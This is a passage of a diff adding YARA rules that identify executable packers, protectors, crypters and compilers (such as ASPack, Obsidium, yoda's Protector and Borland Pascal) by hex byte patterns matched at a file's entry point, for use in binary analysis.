+		$0 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 38 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 33 D2 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 97 FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F1 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 51 59 46 AD 85 C0 74 1F}
+		$1 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 38 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+		$2 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 38 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 33 D2 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 97 FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F1 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 51 59 46 AD 85 C0 74 1F}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Shrink_v20_
+{
+	meta:
+		description = "Shrink v2.0"
+	strings:
+		$0 = {E9 ?? ?? 50 9C FC BE ?? ?? 8B FE 8C C8 05 ?? ?? 8E C0 06 57 B9}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_058__082_1_EXE_
+{
+	meta:
+		description = "aPack 0.58 - 0.82 (1) [EXE]"
+	strings:
+		$0 = {1E 06 8C C8 8E D8 05 00 00 8E C0 50 BE 00 00 33 FF FC B6 01 BD}
+	condition:
+		$0 at entrypoint
+}
+rule _XtremeProtector_106_
+{
+	meta:
+		description = "Xtreme-Protector 1.06"
+	strings:
+		$0 = {B8 ?? ?? ?? 00 B9 75 ?? ?? 00 50 51 E8 05 00 00 00 E9 4A 01 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 8A 06 46 88 07 47 BB 02 00 00 00 02 D2 75 05 8A 16 46 12 D2 73 EA 02 D2 75 05 8A 16 46 12 D2 73 4F 33 C0 02 D2 75 05 8A 16 46 12 D2 0F 83 DF 00 00 00 02}
+	condition:
+		$0 at entrypoint
+}
+rule _SDProtector_BasicPro_Edition_112__Randy_Li_
+{
+	meta:
+		description = "SDProtector Basic/Pro Edition 1.12 -> Randy Li"
+	strings:
+		$0 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 20 33 C0 89 41 04 89 41 08 89 41 0C 89 41 10 59 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 33 C0 64 FF 30 64 89 20 9C 80 4C 24 01 01 9D 90 90 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 64 8F 00 58 74 07 75 05 19 32 67 E8 E8 74 27 75 25 EB 00 EB FC 68 39 44 CD 00 59 9C 50 74 0F 75 0D E8 59 C2 04 00 55 8B EC E9 FA FF FF 0E E8 EF FF FF FF 56 57 53 78 03 79 01 E8 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 7B 03 00 00 03 C8 74 C4 75 C2 E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E2}
+		$1 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 20 33 C0 89 41 04 89 41 08 89 41 0C 89 41 10 59 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 33 C0 64 FF 30 64 89 20 9C 80 4C 24 01 01 9D 90 90 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 64 8F 00 58 74 07 75 05 19 32 67 E8 E8 74 27 75 25 EB 00 EB FC 68 39 44 CD 00 59 9C 50 74 0F 75 0D E8 59 C2 04 00 55 8B EC E9 FA FF FF 0E E8 EF FF FF FF 56 57 53 78 03 79 01 E8 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 7B 03 00 00 03 C8 74 C4 75 C2 E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E2}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PCPEC_alpha__preview_
+{
+	meta:
+		description = "PCPEC alpha - preview"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B CD 81 ED 33 30 40 00}
+		$1 = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B CD 81 ED 33 30 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Thinstall_Virtualization_Suite_V310X__Thinstall_Company_
+{
+	meta:
+		description = "Thinstall Virtualization Suite V3.10X -> Thinstall Company"
+	strings:
+		$0 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 2C FF FF FF E9 90 FF FF FF CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9}
+		$1 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 2C FF FF FF E9 90 FF FF FF CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33}
+		$2 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 2C FF FF FF E9 90 FF FF FF CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _D1S1G_v11_beta__D1N_
+{
+	meta:
+		description = "D1S1G v1.1 beta --> D1N"
+	strings:
+		$0 = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 01 00 0A 00 00 00 18 00 00 80 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 02 00 00 00 88 00 00 80 38 00 00 80 96 00 00 80 50 00 00 80 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 00 00 68 00 00 00 00 00 00 00}
+		$1 = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 01 00 0A 00 00 00 18 00 00 80 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 02 00 00 00 88 00 00 80 38 00 00 80 96 00 00 80 50 00 00 80 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 00 00 68 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 00 00 78 00 00 00 B0 ?? ?? 00 10 00 00 00 00 00 00 00 00 00 00 00 C0 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 06 00 44 00 56 00 43 00 4C 00 41 00 4C 00 0B 00 50 00 41 00 43 00 4B 00 41 00 47 00 45 00 49 00 4E 00 46 00 4F 00 00 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Borland_Pascal_v70_
+{
+	meta:
+		description = "Borland Pascal v7.0"
+	strings:
+		$0 = {B8 ?? ?? 8E D8 8C ?? ?? ?? 8C D3 8C C0 2B D8 8B C4 05 ?? ?? C1 ?? ?? 03 D8 B4 ?? CD 21 0E}
+		$1 = {B8 ?? ?? BB ?? ?? 8E D0 8B E3 8C D8 8E C0 0E 1F A1 ?? ?? 25 ?? ?? A3 ?? ?? E8 ?? ?? 83 3E ?? ?? ?? 75}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Thinstall_Embedded_20X__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded 2.0X -> Jitit"
+	strings:
+		$0 = {B8 EF BE AD DE 50 6A 00 FF 15 ?? ?? ?? ?? E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00}
+		$1 = {B8 EF BE AD DE 50 6A 00 FF 15 ?? ?? ?? ?? E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _aPack_090__099_m_EXE_
+{
+	meta:
+		description = "aPack 0.90 - 0.99 -m [EXE]"
+	strings:
+		$0 = {1E 06 8C C8 8E D8 05 00 00 8E C0 50 BE 00 00 33 FF FC B2 80 BD 00 00 33 C9 50 A4}
+	condition:
+		$0 at entrypoint
+}
+rule _EPW_130_EXE_
+{
+	meta:
+		description = "EPW 1.30 [EXE]"
+	strings:
+		$0 = {06 57 1E 56 55 52 51 53 50 2E 8C 06 08 00 8C C0 83 C0 10 2E A3 0A 00 8E D8 A1 08 00 2E 03 06 0A 00 2E A3 0C 00 A1 0E 00 2E 03 06 0A 00 2E A3 06 00 A1 10 00 2E A3 04 00 A1 14 00 2E A3 00 00 A1 16 00 2E 03 06 0A 00 2E A3 02 00 0E 1F BA 30 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1338__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.3.8 -> Obsidium Software"
+	strings:
+		$0 = {EB 04 ?? ?? ?? ?? E8 28 00 00 00 EB 01 ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 ?? EB 04 ?? ?? ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 01 ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 57 27 00 00}
+		$1 = {EB 04 ?? ?? ?? ?? E8 28 00 00 00 EB 01 ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 ?? EB 04 ?? ?? ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 01 ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 04}
+		$2 = {EB 04 ?? ?? ?? ?? E8 28 00 00 00 EB 01 ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 ?? EB 04 ?? ?? ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 01 ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 57 27 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _FucknJoy_10c__UsAr_
+{
+	meta:
+		description = "Fuck'n'Joy 1.0c -> UsAr"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED D8 05 40 00 FF 74 24 20 E8 8C 02 00 00 0B C0 0F 84 2C 01 00 00 89 85 6C 08 40 00 8D 85 2F 08 40 00 50 FF B5 6C 08 40 00 E8 EF 02 00 00 0B C0 0F 84 0C 01 00 00 89 85 3B 08 40 00 8D 85 3F 08 40 00 50 FF B5 6C 08 40 00 E8 CF 02 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Pack_v10__ANAKiN_
+{
+	meta:
+		description = "PE Pack v1.0 -> ANAKiN"
+	strings:
+		$0 = {74 00 E9 ?? ?? ?? ?? 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _BeRoEXEPacker_v100_DLL_LZBRS__BeRo__Farbrausch_
+{
+	meta:
+		description = "BeRoEXEPacker v1.00 DLL [LZBRS] -> BeRo / Farbrausch"
+	strings:
+		$0 = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 ?? ?? ?? ?? 72 03 A4 EB F2 E8 ?? ?? ?? ?? 8D 51 FF E8 ?? ?? ?? ?? 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_V1031__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector V1.03.1 -> Ashkbiz Danehkar"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 74 72 42 00 8B D5 81 C2 C3 72 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 3F A9 42 00 81 E9 6E 73 42 00 8B D5 81 C2 6E 73 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 98 2E 00 00 33 C0 64 FF 30 64 89 20 43 CC C3}
+		$1 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 74 72 42 00 8B D5 81 C2 C3 72 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 3F A9 42 00 81 E9 6E 73 42 00 8B D5 81 C2 6E 73 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 98 2E 00 00 33 C0 64 FF 30 64 89 20 43 CC C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Sexe_Crypter_11__by_santasdad_
+{
+	meta:
+		description = "Sexe Crypter 1.1 - by santasdad"
+	strings:
+		$0 = {55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 D8 39 00 10 E8 30 FA FF FF 33 C0 55 68 D4 3A 00 10 64 FF 30 64 89 ?? ?? ?? ?? E4 3A 00 10 A1 00 57 00 10 50 E8 CC FA FF FF 8B D8 53 A1 00 57 00 10 50 E8 FE FA FF FF 8B F8 53 A1 00 57 00 10 50 E8 C8 FA FF FF 8B}
+		$1 = {55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 D8 39 00 10 E8 30 FA FF FF 33 C0 55 68 D4 3A 00 10 64 FF 30 64 89 ?? ?? ?? ?? E4 3A 00 10 A1 00 57 00 10 50 E8 CC FA FF FF 8B D8 53 A1 00 57 00 10 50 E8 FE FA FF FF 8B F8 53 A1 00 57 00 10 50 E8 C8 FA FF FF 8B D8 53 E8 C8 FA FF FF 8B F0 85 F6 74 26 8B D7 4A B8 14 57 00 10 E8 AD F6 FF FF B8 14 57 00 10 E8 9B F6 FF FF 8B CF 8B D6 E8 DA FA FF FF 53 E8 84 FA FF FF 8D 4D EC BA F8 3A 00 10 A1 14 57 00 10 E8 0A FB FF FF 8B 55 EC B8 14 57 00 10 E8 65 F5 FF FF B8 14 57 00 10 E8 63 F6 FF FF E8 52 FC FF FF 33 C0 5A 59 59 64 89 10 68 DB 3A 00 10 8D 45 EC E8 ED F4 FF FF C3 E9 83 EF FF FF EB F0 5F 5E 5B E8 ED F3 FF FF 00 53 45 54 54 49 4E 47 53 00 00 00 00 FF FF FF FF 12 00 00 00 6B 75 74 68 37 36 67 62 62 67 36 37 34 76 38 38 67 79}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPXSCRAMBLER_306__OnToL_
+{
+	meta:
+		description = "UPX-SCRAMBLER 3.06 -> ©OnT®oL"
+	strings:
+		$0 = {E8 00 00 00 00 59 83 C1 07 51 C3 C3 BE ?? ?? ?? ?? 83 EC 04 89 34 24 B9 80 00 00 00 81 36 ?? ?? ?? ?? 50 B8 04 00 00 00 50 03 34 24 58 58 83 E9 03 E2 E9 EB D6}
+	condition:
+		$0 at entrypoint
+}
+rule _PEBundle_v02__v20x_
+{
+	meta:
+		description = "PEBundle v0.2 - v2.0x"
+	strings:
+		$0 = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 01 AD ?? ?? ?? ?? 01 AD}
+		$1 = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 6A 04 68 ?? 10 ?? ?? 68 ?? 02 ?? ?? 6A ?? FF 95}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _File_Analyzer_Registration_file_v10_
+{
+	meta:
+		description = "File Analyzer Registration file v1.0"
+	strings:
+		$0 = {24 46 41 52 45 47 24 4D 2D ?? ?? ?? ?? 31}
+	condition:
+		$0 at entrypoint
+}
+rule _Stones_PE_Encrypter_113_
+{
+	meta:
+		description = "Stone's PE Encrypter 1.13"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 97 3B 40 00 2B 95 2D 3C 40 00 83 EA 0B 89 95 36 3C 40 00 01 95 24 3C 40 00 01 95 28 3C 40 00 80 BD 2C 3C 40 00 00 75 4A C6 85 2C 3C 40 00 01 8D B5 35 3C 40 00 0F B6 36 8B FD 8D 9D 36 3C 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Pohernah_101__by_Kas_
+{
+	meta:
+		description = "Pohernah 1.0.1 - by Kas"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED F1 26 40 00 8B BD 18 28 40 00 8B 8D 20 28 40 00 B8 38 28 40 00 01 E8 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 1C 28 40 00 31 C0 51 31 C9 66 B9 FA 00 66 83 F9 00 74 49 8B 57 0C 03 95 1C 28 40 00 8B 85 24 28 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 89 CE E8 27 00 00 00 89 C1 5F B8 38 28 40 00 01 E8 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 14 28 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 21 FE 89 F0 5F 5E C3 60 83 F0 05 40 90 48 83 F0 05 89 C6 89 D7 60 E8 0B 00 00 00 61 83 C7 08 83 E9 07 E2 F1 61 C3 57 8B 1F 8B 4F 04 68 B9 79 37 9E 5A 42 89 D0 48 C1 E0 05 BF 20 00 00 00 4A 89 DD C1 E5 04 29 E9 8B 6E 08 31 DD 29 E9 89 DD C1 ED 05 31 C5 29 E9 2B 4E 0C 89 CD C1 E5 04 29 EB 8B 2E 31 CD 29 EB 89 CD C1 ED 05 31 C5 29 EB 2B 5E 04 29 D0 4F 75 C8 5F 89 1F 89 4F 04 C3}
+		$1 = {60 E8 00 00 00 00 5D 81 ED F1 26 40 00 8B BD 18 28 40 00 8B 8D 20 28 40 00 B8 38 28 40 00 01 E8 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 1C 28 40 00 31 C0 51 31 C9 66 B9 FA 00 66 83 F9 00 74 49 8B 57 0C 03 95 1C 28 40 00 8B 85 24 28 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 89 CE E8 27 00 00 00 89 C1 5F B8 38 28 40 00 01 E8 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 14 28 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 21 FE 89 F0 5F 5E C3 60 83 F0 05 40 90 48 83 F0 05 89 C6 89 D7 60 E8 0B 00 00 00 61 83 C7 08 83 E9 07 E2 F1 61 C3 57 8B 1F 8B 4F 04 68 B9 79 37 9E 5A 42 89 D0 48 C1 E0 05 BF 20 00 00 00 4A 89 DD C1 E5 04 29 E9 8B 6E 08 31 DD 29 E9 89 DD C1 ED 05 31 C5 29 E9 2B 4E 0C 89 CD C1 E5 04 29 EB 8B 2E 31 CD 29 EB 89 CD C1 ED 05 31 C5 29 EB 2B 5E 04 29 D0 4F 75 C8 5F 89 1F 89 4F 04 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _unknown_by_JVP_
+{
+	meta:
+		description = "unknown by JVP"
+	strings:
+		$0 = {B4 30 CD 21 3C 02 73 06 33 C0 06 50 CB 81 BF 00 00 BE 00 00 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _NoodleCrypt_200_Eng__NoodleSpa_
+{
+	meta:
+		description = "NoodleCrypt 2.00 (Eng) -> NoodleSpa"
+	strings:
+		$0 = {EB 01 9A E8 76 00 00 00 EB 01 9A E8 65 00 00 00 EB 01 9A E8 7D 00 00 00 EB 01 9A E8 55 00 00 00 EB 01 9A E8 43 04 00 00 EB 01 9A E8 E1 00 00 00 EB 01 9A E8 3D 00 00 00 EB 01 9A E8 EB 01 00 00 EB 01 9A E8 2C 04 00 00 EB 01 9A E8 25 00 00 00 EB 01 9A E8 02}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v211c_
+{
+	meta:
+		description = "ASPack v2.11c"
+	strings:
+		$0 = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 E9 59 04 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Cpp_v50_for_Windows_
+{
+	meta:
+		description = "Borland C++ v5.0 for Windows"
+	strings:
+		$0 = {EB ?? 53 51 06 33 C0 50 9A ?? ?? ?? ?? 58 07 59 5B 9A}
+	condition:
+		$0 at entrypoint
+}
+rule _Morphine_33__Silent_Software__Silent_Shield_c2005_h_
+{
+	meta:
+		description = "Morphine 3.3 -> Silent Software & Silent Shield (c)2005 (h)"
+	strings:
+		$0 = {28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63}
+	condition:
+		$0 at entrypoint
+}
+rule _Simple_UPX_Cryptor_v3042005_One_layer_encryption__MANtiCORE_
+{
+	meta:
+		description = "Simple UPX Cryptor v30.4.2005 [One layer encryption] --> MANtiCORE"
+	strings:
+		$0 = {60 B8 ?? ?? ?? 00 B9 ?? 01 00 00 80 34 08 ?? E2 FA 61 68 ?? ?? ?? 00 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Netopsystems_FEAD_Optimizer_1_
+{
+	meta:
